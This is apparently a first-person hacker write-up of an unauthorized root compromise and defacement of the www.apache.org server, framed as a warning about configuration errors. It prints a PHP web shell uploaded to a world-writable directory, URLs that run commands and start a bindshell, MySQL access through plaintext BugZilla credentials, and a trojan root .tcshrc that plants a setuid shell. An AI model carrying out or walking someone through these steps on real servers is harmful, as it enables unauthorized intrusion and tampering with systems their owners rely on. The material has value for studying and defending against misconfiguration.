How To Deface APACHE
/*
* Before you start reading
*/
This paper does _not_ uncover any new vulnerabilities. It points out common
(and slightly less common) configuration errors, which even the people at
apache.org made. This is a general warning. Learn from it. Fix your systems,
so we won't have to :)
/*
* introduction
*/
This paper describes how, over the course of a week, we succeeded in
getting root access to the machine running www.apache.org, and changed
the main page to show a 'Powered by Microsoft BackOffice' logo instead
of the default 'Powered by Apache' logo (the feather). No other changes
were made, except to prevent other (possibly malicious) people getting in.
Note that the problems described in this paper are not apache-related,
these were all config errors (one of 'm straight from BugZilla's README,
but the README had enough warnings so I don't blame the BugZilla developers).
People running apache httpd do not need to start worrying because of
anything uncovered herein.
We hacked www.apache.org because there are a lot of servers running apache
software and if www.apache.org got compromised, somebody could backdoor
the apache server source and end up having lots of owned boxes.
We just couldn't allow this to happen, we secured the main ftproot==wwwroot
thing. While having owned root we just couldnt stand the urge to put that
small logo on it.
/*
* ftproot == wwwroot
* o+w dirs
*/
While searching for the laters apache httpserver to diff it the with
previous version and read that diff file for any options of new buffer
overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of
the http://www.apache.org on that ftp including world writable directories.
So we wrote a little wuh.php3 including
passthru($cmd);
?>
and uploaded that to one of the world writable directories.
/*
* Our commands executed
*/
Unsurprisingly, 'id' got executed when called like
http://www.apache.org/thatdir/wuh.php3?cmd=id
Next was to upload some bindshell and compile it like calling
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then
executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
/*
* The shell
*/
Ofcourse we used a bindshell that first requires ppl to authenticate with
a hardcoded password (:
Now we telnet to port 65533 where we binded that shell and we have local
nobody access, because cgi is running as user nobody.
/*
* The apache.org box
*/
What did we find on apache.org box:
-o=rx /root
-o=rx homedirs
apache.org is a freebsd 3.4 box. We didn't wanted to use any buffer
overflow or some lame exploit, goal was to reach root with only
configuration faults.
/*
* Mysql
*/
After a long search we found out that mysql was
running as user root and was reachable locally. Because apache.org was
running bugzilla which requires a mysql account and has it
username/password plaintext in the bugzilla source it was easy to
get a username/passwd for the mysql database.
We downloaded nportredird and have it set up to accept connections on
port 23306 from our ips and redir them to localhost port 3306 so we could
use our own mysql clients.
/*
* Full mysql access
* use it to create files
*/
Having gained access to port 3306 coming from localhost, using the login
'bugs' (which had full access [as in "all Y's"]), our privs where
elevated substantially. This was mostly due to sloppy reading of the BugZilla
README which _does_ show a quick way to set things up (with all Y's) but
also has lots of security warnings, including "don't run mysqld as root".
Using 'SELECT ... INTO OUTFILE;' we were now able to create files
anywhere, as root. These files were mode 666, and we could not overwrite
anything. Still, this seemed useful.
But what do you do with this ability? No use writing .rhosts files - no
sane rshd will accept a world-writable .rhosts file. Besides, rshd
wasn't running on this box.
/*
* our /root/.tcshrc
*/
Therefore, we decided to perform a trojan-like trick. We used database
'test' and created a one-column table with a 80char textfield. A couple
of inserts and one select later, we had ourselves a /root/.tcshrc with
contents similar to:
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
/*
* ROOT!!
*/
Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
people legally having root, this didn't take long. The rest is trivial
too - being root the deface was quickly done, but not until after a
short report listing the vulnerabilities and quick fixes was build.
Shortly after the deface, we sent this report to one of the admins.
/*
* Fix that ftproot==wwwroot
*/
Another thing we did before the deface, was creating a file 'ftproot' in
the wwwroot (which was also ftproot), moving 'dist' to 'ftproot/dist'
and changing the ftproot to this new 'ftproot' dir, yielding the
world-writable dirs unexploitable but allowing ftp URLs to continue
working.
/*
* What could have been compromised?
*/
Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we
wanted to, we could have done the same thing to Apache. Edit the source
and have people download trojaned versions. Scary, eh?
/*
* In short:
*/
- ftproot==webroot, worldwritable dirs allowing us to upload and execute
php3 scripts
- mysqld running as root, with a FFULL RIGHTS login without a password.
/*
* Compliments for the Apache admin team
*/
We would like to compliment the Apache admin team on their swift
response when they found out about the deface, and also on their
approach, even calling us 'white hats' (we were at the most 'grey hats'
here, if you ask us).
